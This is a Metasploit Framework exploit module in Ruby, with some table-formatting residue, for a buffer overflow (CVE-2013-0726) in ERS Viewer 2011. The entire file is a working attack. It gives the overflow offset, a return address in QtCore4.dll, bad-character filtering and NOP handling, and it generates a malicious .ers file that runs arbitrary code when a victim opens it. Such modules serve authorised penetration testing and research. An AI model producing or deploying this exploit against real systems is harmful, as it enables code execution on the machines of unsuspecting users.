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modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::FILEFORMAT | ||
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def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "ERS Viewer 2011 ERS File Handling Buffer Overflow", | ||
'Description' => %q{ | ||
This module exploits a buffer overflow vulnerability found in ERS Viewer 2011 | ||
(version 11.04). The vulnerability exists in the module ermapper_u.dll where the | ||
function ERM_convert_to_correct_webpath handles user provided data in a insecure | ||
way. It results in arbitrary code execution under the context of the user viewing | ||
a specially crafted .ers file. This module has been tested successfully with ERS | ||
Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Parvez Anwar', # Vulnerability Discovery | ||
'juan vazquez' # Metasploit | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-0726' ], | ||
[ 'OSVDB', '92694' ], | ||
[ 'BID', '59379' ], | ||
[ 'URL', 'http://secunia.com/advisories/51725/' ] | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 7516, | ||
'BadChars' => "\x22\x5c" + | ||
(0x7f..0xff).to_a.pack("C*") + | ||
(0x00..0x08).to_a.pack("C*") + | ||
(0x0a..0x1f).to_a.pack("C*"), | ||
'DisableNops' => true, | ||
'EncoderOptions' => | ||
{ | ||
'BufferRegister' => 'ESP' | ||
} | ||
}, | ||
'SaveRegisters' => [ 'ESP' ], | ||
'DefaultOptions' => | ||
{ | ||
'ExitFunction' => "process", | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'ERS Viewer 2011 (v11.04) / Windows XP SP3 / Windows 7 SP1', | ||
{ | ||
'Offset' => 260, | ||
'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll | ||
} | ||
], | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "Apr 23 2013", | ||
'DefaultTarget' => 0)) | ||
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register_options( | ||
[ | ||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), | ||
], self.class) | ||
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end | ||
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# Rewrote it because make_nops is ignoring SaveRegisters | ||
# and corrupting ESP. | ||
def make_nops(count) | ||
return "\x43" * count # 0x43 => inc ebx | ||
end | ||
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def exploit | ||
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buf = rand_text(target['Offset']) | ||
buf << [target.ret].pack("V") | ||
buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode | ||
buf << payload.encoded | ||
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ers = %Q| | ||
DatasetHeader Begin | ||
Name = "#{buf}" | ||
DatasetHeader End | ||
| | ||
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file_create(ers) | ||
end | ||
end |